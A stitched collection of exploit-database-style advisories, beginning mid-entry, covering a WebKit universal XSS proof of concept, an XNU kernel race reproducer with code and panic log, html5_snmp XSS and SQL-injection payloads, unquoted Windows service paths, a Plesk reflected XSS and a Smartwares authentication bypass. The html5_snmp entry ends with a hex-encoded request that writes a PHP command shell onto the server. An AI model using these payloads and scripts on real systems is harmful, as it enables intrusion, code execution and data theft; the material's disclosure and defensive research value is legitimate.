reqid=f48de4c24ae1b72dd37ebde6f6b40544&nummer=t&idtyp=-1’INJECTHERE&idgremium=-1’INJECTHERE&datefrom=TT.MM.JJJJ&dateto=TT.MM.JJJJ&csrftoken=CSRFToken

# The attacker is then redirected with a 302 redirect to an URL /templates/?__=NEWBASE64 as GET request. 
# By issuing the second request the arbitrary SQL-Statement gets executed.

WebKit: Universal XSS in JSObject::putInlineSlow and JSValue::putToPrimitive

VULNERABILITY DETAILS
```
bool JSObject::putInlineSlow(ExecState* exec, PropertyName propertyName, JSValue value, PutPropertySlot& slot)
{
    ASSERT(!isThisValueAltered(slot, this));

    VM& vm = exec->vm();
    auto scope = DECLARE_THROW_SCOPE(vm);

    JSObject* obj = this;
    for (;;) {
        unsigned attributes;
        PropertyOffset offset = obj->structure(vm)->get(vm, propertyName, attributes); // ***1***
        if (isValidOffset(offset)) {
            if (attributes & PropertyAttribute::ReadOnly) {
                ASSERT(this->prototypeChainMayInterceptStoreTo(vm, propertyName) || obj == this);
                return typeError(exec, scope, slot.isStrictMode(), ReadonlyPropertyWriteError);
            }

            JSValue gs = obj->getDirect(offset);
            if (gs.isGetterSetter()) {
                // We need to make sure that we decide to cache this property before we potentially execute aribitrary JS.
                if (!structure(vm)->isDictionary())
                    slot.setCacheableSetter(obj, offset);

                bool result = callSetter(exec, slot.thisValue(), gs, value, slot.isStrictMode() ? StrictMode : NotStrictMode); // ***2***
                RETURN_IF_EXCEPTION(scope, false);
                return result;
            }
            if (gs.isCustomGetterSetter()) {
                // We need to make sure that we decide to cache this property before we potentially execute aribitrary JS.
                if (attributes & PropertyAttribute::CustomAccessor)
                    slot.setCustomAccessor(obj, jsCast<CustomGetterSetter*>(gs.asCell())->setter());
                else
                    slot.setCustomValue(obj, jsCast<CustomGetterSetter*>(gs.asCell())->setter());

                bool result = callCustomSetter(exec, gs, attributes & PropertyAttribute::CustomAccessor, obj, slot.thisValue(), value);
                RETURN_IF_EXCEPTION(scope, false);
                return result;
            }
            ASSERT(!(attributes & PropertyAttribute::Accessor));

            // If there's an existing property on the object or one of its 
            // prototypes it should be replaced, so break here.
            break;
        }
[...]
        JSValue prototype = obj->getPrototype(vm, exec);
        RETURN_IF_EXCEPTION(scope, false);
        if (prototype.isNull())
            break;
        obj = asObject(prototype);
    }
```

This is an extension of https://bugs.chromium.org/p/project-zero/issues/detail?id=1240.
`putInlineSlow` and `putToPrimitive` now call the access-checked `getPrototype` method instead of
`getPrototypeDirect`. However, they still use `Structure::get` directly[1], which bypasses access
checks implemented in functions that override `JSObject::put`. Thus, an attacker can put a
cross-origin object into the prototype chain of a regular object and trigger the invocation of a
cross-origin setter. If the setter raises an exception while processing the passed value, it's
possible to leak the exception object and gain access to, e.g., another window's function
constructor.

Since this issue is only exploitable when a victim page defines a custom accessor property on the
`location` object, its practical impact is minimal.


VERSION
WebKit revision 247430
Safari version 12.1.1 (14607.2.6.1.1)


REPRODUCTION CASE
<body>
<script>
frame = document.body.appendChild(document.createElement('iframe'));
frame.src = `data:text/html,
<h1>secret data</h1>
<script>
    location.__defineSetter__('foo', function(value) {
      alert('Received value: ' + value);
    });
</s` + `cript>`;

function turnLeakedExceptionIntoUXSS(object) {
  try {
    object.foo = {toString: function() { return {} } };
  } catch (e) {
    let func = e.constructor.constructor;
    func('alert(document.body.innerHTML)')();
  }
}

frame.onload = () => {
  // putInlineSlow
  turnLeakedExceptionIntoUXSS({__proto__: frame.contentWindow.location});

  // putToPrimitive
  num = 1337;
  num.__proto__.__proto__ = frame.contentWindow.location;
  turnLeakedExceptionIntoUXSS(num);
}
</script>
</body>


This bug is subject to a 90 day disclosure deadline. After 90 days elapse or a patch has been made
broadly available (whichever is earlier), the bug report will become visible to the public.





Found by: glazunov@google.com

XNU: missing locking in checkdirs_callback() enables race with fchdir_common()

On macOS, when a new mount point is created, the kernel uses checkdirs() to, as
a comment above the function explains: \"Scan all active processes to see if any
of them have a current or root directory onto which the new filesystem has just
been mounted. If so, replace them with the new mount point.\"

In other words, XNU behaves as follows:

$ hdiutil attach ./mount_cwd.img -nomount
/dev/disk2
$ cd mnt
$ ls -l
total 0
-rw-r--r--  1 projectzero  staff  0 Aug  6 18:05 underlying
$ mount -t msdos -o nobrowse /dev/disk2 .
$ ls -l
total 0
-rwxrwxrwx  1 projectzero  staff  0 Aug  6 18:04 onfat
$

(This is different from e.g. Linux, where the cwd would still point to the
directory on the root filesystem that is now covered by the mountpoint, and the
second \"ls -l\" would show the same output as the first one.)


checkdirs() uses proc_iterate() to execute checkdirs_callback() on each running
process. checkdirs_callback() is implemented as follows:

======================================================
static int
checkdirs_callback(proc_t p, void * arg)
{
        struct cdirargs * cdrp = (struct cdirargs * )arg;
        vnode_t olddp = cdrp->olddp;
        vnode_t newdp = cdrp->newdp;
        struct filedesc *fdp;
        vnode_t tvp;
        vnode_t fdp_cvp;
        vnode_t fdp_rvp;
        int cdir_changed = 0;
        int rdir_changed = 0;

        /*
         * XXX Also needs to iterate each thread in the process to see if it
         * XXX is using a per-thread current working directory, and, if so,
         * XXX update that as well.
         */

        proc_fdlock(p);
        fdp = p->p_fd;
        if (fdp == (struct filedesc *)0) {
                proc_fdunlock(p);
                return(PROC_RETURNED);
        }
        fdp_cvp = fdp->fd_cdir;
        fdp_rvp = fdp->fd_rdir;
        proc_fdunlock(p);

        if (fdp_cvp == olddp) {
                vnode_ref(newdp);
                tvp = fdp->fd_cdir;
                fdp_cvp = newdp;
                cdir_changed = 1;
                vnode_rele(tvp);
        }
        if (fdp_rvp == olddp) {
                vnode_ref(newdp);
                tvp = fdp->fd_rdir;
                fdp_rvp = newdp;
                rdir_changed = 1;
                vnode_rele(tvp);
        }
        if (cdir_changed || rdir_changed) {
                proc_fdlock(p);
                fdp->fd_cdir = fdp_cvp;
                fdp->fd_rdir = fdp_rvp;
                proc_fdunlock(p);
        }
        return(PROC_RETURNED);
}
======================================================

`p->p_fd` contains the current working directory (`->fd_cdir`) and
root directory (`->fd_rdir`) of the process; it is protected against
modification by proc_fdlock()/proc_fdunlock(). Because checkdirs_callback()
does not hold that lock across the entire operation, several races are possible;
for example:

 - If `fdp->fd_cdir == olddp` is true and `fdp->fd_cdir` changes between the
   read `tvp = fdp->fd_cdir;` and the second `proc_fdlock(p);`,
   `vnode_rele(tvp);` will release a nonexistent reference, leading to reference
   count underflow.
 - If `fdp->fd_cdir == olddp` is true and the process calls chroot() between the
   first locked region and the second locked region, a dangling pointer will be
   written back to `fdp->fd_rdir`.


I have written a simple reproducer for the first scenario; however, since the
race window is quite narrow, it uses dtrace to make the race easier to hit (so
you have to turn off SIP).


To prepare an empty FAT32 filesystem and the PoC:
======================================================
Projects-Mac-mini:mount_cwd projectzero$ base64 -D | gunzip > mount_cwd.img
H4sIAI3cSV0CA+3TLUsEcRAH4PUQlBMPk2Dyj82yoNmgQZsv4bQIwsrt6XLn7nG75cDgR/BziEls
ghiu3rewXTGa1C0GszafZwZm4NcGZrp1e9XrlnE3qaLG7EzUqGv+vRGFaDv6dhOtb40fxgeH4WBn
fzfU9nbaG5v1bK0+n17fr71UCyePrae5aLJ0Nn3bfJ0sT1amH+3LrAx150UVknBeFFVy3k9DJyt7
cQhH/TQp05DlZTr8kXf7xWAwCkneWWwOhmlZ1uso9NJRqIpQDevkIsnyEMdxWGxG/Mbx3fvnpzPA
P+X/AQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA+EtfAgGlzAAA
EAA=
Projects-Mac-mini:mount_cwd projectzero$ 
Projects-Mac-mini:mount_cwd projectzero$ cat > flipflop2.c
#include <fcntl.h>
#include <err.h>
#include <unistd.h>
#include <stdio.h>

int main(void) {
  int outer_fd = open(\".\", O_RDONLY);
  if (outer_fd == -1) err(1, \"open outer\");
  int inner_fd = open(\"mnt\", O_RDONLY);
  if (inner_fd == -1) err(1, \"open inner\");

  while (1) {
    if (fchdir(inner_fd)) perror(\"chdir 1\");
    if (fchdir(outer_fd)) perror(\"chdir 2\");
  }
}
Projects-Mac-mini:mount_cwd projectzero$ cc -o flipflop2 flipflop2.c
Projects-Mac-mini:mount_cwd projectzero$ cat > mountloop.c
#include <stdlib.h>
#include <stdio.h>
#include <err.h>

int main(int argc, char **argv) {
  char mount_cmd[1000];
  sprintf(mount_cmd, \"mount -t msdos -o nobrowse %s mnt\", argv[1]);
  while (1) {
    if (system(mount_cmd) != 0)
      errx(1, \"mount failed\");
umount:;
    if (system(\"umount mnt\")) {
      puts(\"umount failed\");
      goto umount;
    }
  }
}
Projects-Mac-mini:mount_cwd projectzero$ cc -o mountloop mountloop.c
Projects-Mac-mini:mount_cwd projectzero$ 
Projects-Mac-mini:mount_cwd projectzero$ cat > test.dtrace
#!/usr/sbin/dtrace -w -s

__mac_mount:entry  { mount_pending = 1; }
__mac_mount:return { mount_pending = 0; }
proc_iterate:entry  { in_proc_iterate = 1; }
proc_iterate:return { in_proc_iterate = 0; }

vnode_rele_internal:entry {
  if (mount_pending && in_proc_iterate) {
    chill(1000*1000*10);
  }
}
Projects-Mac-mini:mount_cwd projectzero$ 
Projects-Mac-mini:mount_cwd projectzero$ chmod +x test.dtrace 
Projects-Mac-mini:mount_cwd projectzero$ 
Projects-Mac-mini:mount_cwd projectzero$ mkdir mnt
Projects-Mac-mini:mount_cwd projectzero$ 
======================================================

In one terminal, launch the dtrace script as root:
======================================================
Projects-Mac-mini:mount_cwd projectzero$ sudo ./test.dtrace 
dtrace: script './test.dtrace' matched 10 probes
dtrace: allowing destructive actions
======================================================

In a second terminal, set up the loop device and launch the ./flipflop2 helper:
======================================================
Projects-Mac-mini:mount_cwd projectzero$ hdiutil attach ./mount_cwd.img -nomount
/dev/disk2                                              
Projects-Mac-mini:mount_cwd projectzero$ ./flipflop2 
======================================================

In a third terminal, launch the ./mountloop helper:
======================================================
Projects-Mac-mini:mount_cwd projectzero$ ./mountloop /dev/disk2
umount(/Users/projectzero/jannh/mount_cwd/clean/mount_cwd/mnt): Resource busy -- try 'diskutil unmount'
umount failed
umount(/Users/projectzero/jannh/mount_cwd/clean/mount_cwd/mnt): Resource busy -- try 'diskutil unmount'
umount failed
umount(/Users/projectzero/jannh/mount_cwd/clean/mount_cwd/mnt): Resource busy -- try 'diskutil unmount'
umount failed
[...]
======================================================

(Don't mind the error spew from ./flipflop2 and ./mountloop, that's normal.)

Within a few minutes, the system should panic, with an error report like this:
======================================================
*** Panic Report ***
panic(cpu 0 caller 0xffffff80055f89c5): \"vnode_rele_ext: vp 0xffffff80276ee458 kusecount(4) out of balance with usecount(3).  v_tag = 25, v_type = 2, v_flag = 84800.\"@/BuildRoot/Library/Caches/com.apple.xbs/Sources/xnu/xnu-4903.270.47/bsd/vfs/vfs_subr.c:1937
Backtrace (CPU 0), Frame : Return Address
0xffffff911412b9d0 : 0xffffff80053ad6ed mach_kernel : _handle_debugger_trap + 0x47d
0xffffff911412ba20 : 0xffffff80054e9185 mach_kernel : _kdp_i386_trap + 0x155
0xffffff911412ba60 : 0xffffff80054da8ba mach_kernel : _kernel_trap + 0x50a
0xffffff911412bad0 : 0xffffff800535ab40 mach_kernel : _return_from_trap + 0xe0
0xffffff911412baf0 : 0xffffff80053ad107 mach_kernel : _panic_trap_to_debugger + 0x197
0xffffff911412bc10 : 0xffffff80053acf53 mach_kernel : _panic + 0x63
0xffffff911412bc80 : 0xffffff80055f89c5 mach_kernel : _vnode_rele_internal + 0xf5
0xffffff911412bcc0 : 0xffffff8005607f34 mach_kernel : _dounmount + 0x524
0xffffff911412bd60 : 0xffffff8005607877 mach_kernel : _unmount + 0x197
0xffffff911412bf40 : 0xffffff80059b92ad mach_kernel : _unix_syscall64 + 0x27d
0xffffff911412bfa0 : 0xffffff800535b306 mach_kernel : _hndl_unix_scall64 + 0x16

BSD process name corresponding to current thread: umount
Boot args: -zp -v keepsyms=1

Mac OS version:
18G87

Kernel version:
Darwin Kernel Version 18.7.0: Thu Jun 20 18:42:21 PDT 2019; root:xnu-4903.270.47~4/RELEASE_X86_64
Kernel UUID: 982F17B3-0252-37FB-9869-88B3B1C77335
Kernel slide:     0x0000000005000000
Kernel text base: 0xffffff8005200000
__HIB  text base: 0xffffff8005100000
System model name: Macmini7,1 (Mac-35C5E08120C7EEAF)

System uptime in nanoseconds: 390113393507
last loaded kext at 197583647618: com.apple.filesystems.msdosfs 1.10 (addr 0xffffff7f89287000, size 69632)
last unloaded kext at 61646619017: com.apple.driver.AppleIntelLpssGspi  3.0.60 (addr 0xffffff7f88208000, size 45056)
[...]
======================================================


This bug is subject to a 90 day disclosure deadline. After 90 days elapse
or a patch has been made broadly available (whichever is earlier), the bug
report will become visible to the public.




Found by: jannh@google.com

# Exploit Title: html5_snmp 1.11 - 'Remark' Persistent Cross-Site Scripting
# Date: 2019-11-01
# Exploit Author: Cakes
# Vendor Homepage: https://github.com/lolypop55/html5_snmp
# Software Link: https://github.com/lolypop55/html5_snmp.git
# Version: 1.11
# Tested on: CentOS 7
# CVE: N/A

# PoC

POST /add_router_operation.php HTTP/1.1
Host: TARGET
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:60.0) Gecko/20100101 Firefox/60.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: http://TARGET/add_router.php
Content-Type: application/x-www-form-urlencoded
Content-Length: 128
Cookie: submenu1=block; showips=10; showurls=10; showreferers=10; PHPSESSID=9m6bv15esubafglv5cnbcha421
Connection: close
Upgrade-Insecure-Requests: 1
DNT: 1


Router_ID=ID&Router_Name=Name&Router_IP=IP&String=STRING&Remark=%3Cscript%3Ealert%28%22test5%22%29%3B%3C%2Fscript%3E&Submit=Save

# Exploit Title: html5_snmp 1.11 - 'Router_ID' SQL Injection
# Date: 2019-11-01
# Exploit Author: Cakes
# Vendor Homepage: https://github.com/lolypop55/html5_snmp
# Software Link: https://github.com/lolypop55/html5_snmp.git
# Version: 1.11
# Tested on: CentOS 7
# CVE: N/A

# PoC for error, time, boolean and Union based SQL Injection

# Parameter: Router_ID (POST)
# Type: error-based
# Title: MySQL >= 5.0 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (FLOOR)
# Vector: AND (SELECT [RANDNUM] FROM(SELECT COUNT(*),CONCAT('[DELIMITER_START]',([QUERY]),'[DELIMITER_STOP]',FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.PLUGINS GROUP BY x)a)    

Payload: Router_ID=123' AND (SELECT 9724 FROM(SELECT COUNT(*),CONCAT(0x716a7a7071,(SELECT (ELT(9724=9724,1))),0x71717a6b71,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.PLUGINS GROUP BY x)a) AND 'aJYp'='aJYp&Router_Name=123&Router_IP=123&String=123&Remark=123&Submit=Save

# Type: time-based blind
# Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
# Vector: AND (SELECT [RANDNUM] FROM (SELECT(SLEEP([SLEEPTIME]-(IF([INFERENCE],0,[SLEEPTIME])))))[RANDSTR])   

Payload: Router_ID=123' AND (SELECT 7074 FROM (SELECT(SLEEP(5)))hDkA) AND 'koRt'='koRt&Router_Name=123&Router_IP=123&String=123&Remark=123&Submit=Save

# Parameter: Router_IP (GET)
# Type: boolean-based blind
# Title: AND boolean-based blind - WHERE or HAVING clause
# Vector: AND [INFERENCE]   

Payload: Router_IP=192.168.0.1' AND 3390=3390-- yUHk

# Type: time-based blind
# Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
# Vector: AND (SELECT [RANDNUM] FROM (SELECT(SLEEP([SLEEPTIME]-(IF([INFERENCE],0,[SLEEPTIME])))))[RANDSTR])    

Payload: Router_IP=192.168.0.1' AND (SELECT 2831 FROM (SELECT(SLEEP(5)))SwFp)-- VukE

# Type: UNION query
# Title: Generic UNION query (NULL) - 5 columns
# Vector:  UNION ALL SELECT NULL,NULL,NULL,[QUERY],NULL[GENERIC_SQL_COMMENT]    

Payload: Router_IP=192.168.0.1' UNION ALL SELECT NULL,NULL,NULL,CONCAT(0x717a787071,0x4f4f4e6c58704e78566b76576358564c4e5145575543435658706d4e50476d6a6c65505366497571,0x7170717671),NULL-- BEdT

# Pop a Shell :-)

GET /get_router_show.php?Router_IP=%27%20%55%4e%49%4f%4e%20%41%4c%4c%20%53%45%4c%45%43%54%20%30%78%33%33%63%33%66%37%30%36%38%37%30%32%30%32%34%36%33%36%64%36%34%32%30%33%64%32%30%37%33%36%38%36%35%36%63%36%63%35%66%36%35%37%38%36%35%36%33%32%38%32%34%35%66%34%37%34%35%35%34%35%62%32%37%36%33%36%64%36%34%32%37%35%64%32%39%33%62%32%30%36%35%36%33%36%38%36%66%32%30%32%34%36%33%36%64%36%34%33%62%32%30%33%66%33%65%2c%4e%55%4c%4c%2c%4e%55%4c%4c%2c%4e%55%4c%4c%2c%4e%55%4c%4c%20%49%4e%54%4f%20%44%55%4d%50%46%49%4c%45%20%27%2f%76%61%72%2f%77%77%77%2f%73%6e%6d%70%30%31%2f%75%70%6c%6f%61%64%73%2f%65%78%65%63%2e%70%68%70%27%2d%2d%20%44%52%74%66 HTTP/1.1
Host: Target
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:60.0) Gecko/20100101 Firefox/60.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: http://Target/get_router.php
Cookie: PHPSESSID=ii1kfjgplci8vbfep3ius67353
Connection: close
Upgrade-Insecure-Requests: 1
DNT: 1
Cache-Control: max-age=0

# Exploit Title: Wacom WTabletService 6.6.7-3 - 'WTabletServicePro' Unquoted Service Path
# Discovery by: Marcos Antonio León (psk)
# Discovery Date: 2019-11-04
# Vendor Homepage: https://www.wacom.com
# Software Link : http://cdn.wacom.com/U/drivers/IBMPC/pro/WacomTablet_637-3.exe
# Tested Version: 6.3.7.3
# Vulnerability Type: Unquoted Service Path
# Tested on OS: Windows 10 Home x64 es

# Step to discover Unquoted Service Path:

C:\>sc qc WTabletServicePro
[SC] QueryServiceConfig CORRECTO

NOMBRE_SERVICIO: WTabletServicePro
        TIPO               : 10  WIN32_OWN_PROCESS
        TIPO_INICIO        : 2   AUTO_START
        CONTROL_ERROR      : 1   NORMAL
        NOMBRE_RUTA_BINARIO: C:\Program Files\Tablet\Wacom\WTabletServicePro.exe
        GRUPO_ORDEN_CARGA  : PlugPlay
        ETIQUETA           : 0
        NOMBRE_MOSTRAR     : Wacom Professional Service
        DEPENDENCIAS       :
        NOMBRE_INICIO_SERVICIO: LocalSystem

#Exploit:

A successful attempt would require the local attacker must insert an
executable file in the path of the service. Upon service restart or
system reboot, the malicious code will be run with elevated
privileges.

# Exploit Title: QNAP NetBak Replicator 4.5.6.0607 - 'QVssService' Unquoted Service Path
# Discovery Date: 2019-11-05
# Exploit Author: Ivan Marmolejo
# Vendor Homepage: https://www.qnap.com/en/ 
# Software Link: https://www.qnap.com/en/download
# Version: 4.5.6.0607
# Vulnerability Type: Local
# Tested on: Windows XP Profesional Español SP3

#Exploit
##############################################################################################################################################

Summary:  QNAP NetBak Replicator provides several options for copying files from your Windows computer to your NAS. By simplifying the backup 
process, NetBak Replicator helps ensure that your files are safe even when your computer becomes unavailable.

Description:    The application suffers from an unquoted search path issue impacting the service 'QVssService'. This could potentially allow an 
authorized but non-privileged local user to execute arbitrary code with elevated privileges on the system. A successful attempt would require 
the local user to be able to insert their code in the system root path undetected by the OS or other security applications where it could 
potentially be executed during application startup or reboot. If successful, the local user’s code would execute with the elevated privileges
of the application.

##############################################################################################################################################

Step to discover the unquoted Service:


C:\Users\user>wmic service get name, displayname, pathname, startmode | findstr /i "auto" | findstr /i /v "C:\Windows\\" | findstr /i /v """


QNAP Vss Service            QVssService               C:\Archivos de programa\QNAP\NetBak\QVssService.exe                  Auto


##############################################################################################################################################

Service info:


C:\Users\user>sc qc QVssService
[SC] QueryServiceConfig SUCCESS

SERVICE_NAME: QVssService
        TYPE               : 10  WIN32_OWN_PROCESS
        START_TYPE         : 2   AUTO_START
        ERROR_CONTROL      : 1   NORMAL
        BINARY_PATH_NAME   : C:\Archivos de programa\QNAP\NetBak\QVssService.exe
        LOAD_ORDER_GROUP   :
        TAG                : 0
        DISPLAY_NAME       : QNAP Vss Service
        DEPENDENCIES       : 
        SERVICE_START_NAME : LocalSystem

##############################################################################################################################################

#Exploit Title: Parallels Plesk Panel 9.5 Reflected XSS

#Release Date: 06/11/2019

#Author: Cyber Citadel

#Website: www.cybercitadel.com

#Vendor: www.plesk.com

#Versions 9.5



*Description*



A Cross Site Scripting vulnerability occurs when an attacker can inject
JavaScript in context of the web application. The vulnerability occurs when
user input is not sanitized before it’s returned back to the user. Because
JavaScript is able to access your DOM (Document Object Model) an attacker
can craft a JavaScript payload which can be used to steal the victim’s
session cookies and send it to a domain that they control thereby hijacking
the session.



The vulnerability exists in "*fileName*" parameter reflected in application
response were later being reflected in different parts of application
response.



*Credits *



Discovered by: Rafay Baloch and Muhammad Samak



*POC*



https://target/locales/tr-TR/help/index.htm?fileName=javascript:alert(document.domain)



*Solution*

Any user-generated input should be HTML-encoded, at any point, where it is
copied into application responses.

All HTML meta characters should be replaced with the corresponding HTML
entities. The following meta characters shall be filtered out before they
are displayed back to the user.

[1] | (pipe sign)

[2] & (ampersand sign)

[3] ; (semicolon sign)

[4] $ (dollar sign)

[5] % (percent sign)

[6] @ (at sign)

[7] ʹ (single apostrophe)

[8] ʺ (quotation mark)

[9] \ʹ (backslash‐escaped apostrophe)

[10] \ʺ (backslash‐escaped quotation mark)

[11] <> (triangular parenthesis)

[12] () (parenthesis)

[13] + (plus sign)

[14] CR (Carriage return, ASCII 0x0d)

[15] LF (Line feed, ASCII 0x0a)

[16] , (comma sign)

[17] \ (backslash)


*Recommendation*



Upgrade to the latest version of Parallel Plesk.

Smartwares HOME easy v1.0.9 Client-Side Authentication Bypass


Vendor: Smartwares
Product web page: https://www.smartwares.eu
Affected version: <=1.0.9

Summary: Home Easy/Smartwares are a range of products designed to remotely
control your home using wireless technology. Home Easy/Smartwares is very
simple to set up and allows you to operate your electrical equipment like
lighting, appliances, heating etc.

Desc: HOME easy suffers from information disclosure and client-side authentication
bypass vulnerability through IDOR by navigating to several administrative web pages.
This allowed disclosing an SQLite3 database file and location. Other functionalities
are also accessible by disabling JavaScript in your browser, bypassing the client-side
validation and redirection.

Tested on: Boa/0.94.13


Vulnerability discovered by Gjoko 'LiquidWorm' Krstic
                            @zeroscience


Advisory ID: ZSL-2019-5540
Advisory URL: https://www.zeroscience.mk/en/vulnerabilities/ZSL-2019-5540.php


30.09.2019

--

/web-en/task.html
/web-en/action_task.html
/web-en/plan_task.html
/web-en/room.html
/web-en/room_set.html
/web-en/room_set2.html
/web-en/scene.html
/web-en/scene_set.html
/web-en/scene_set2.html
/web-en/system.html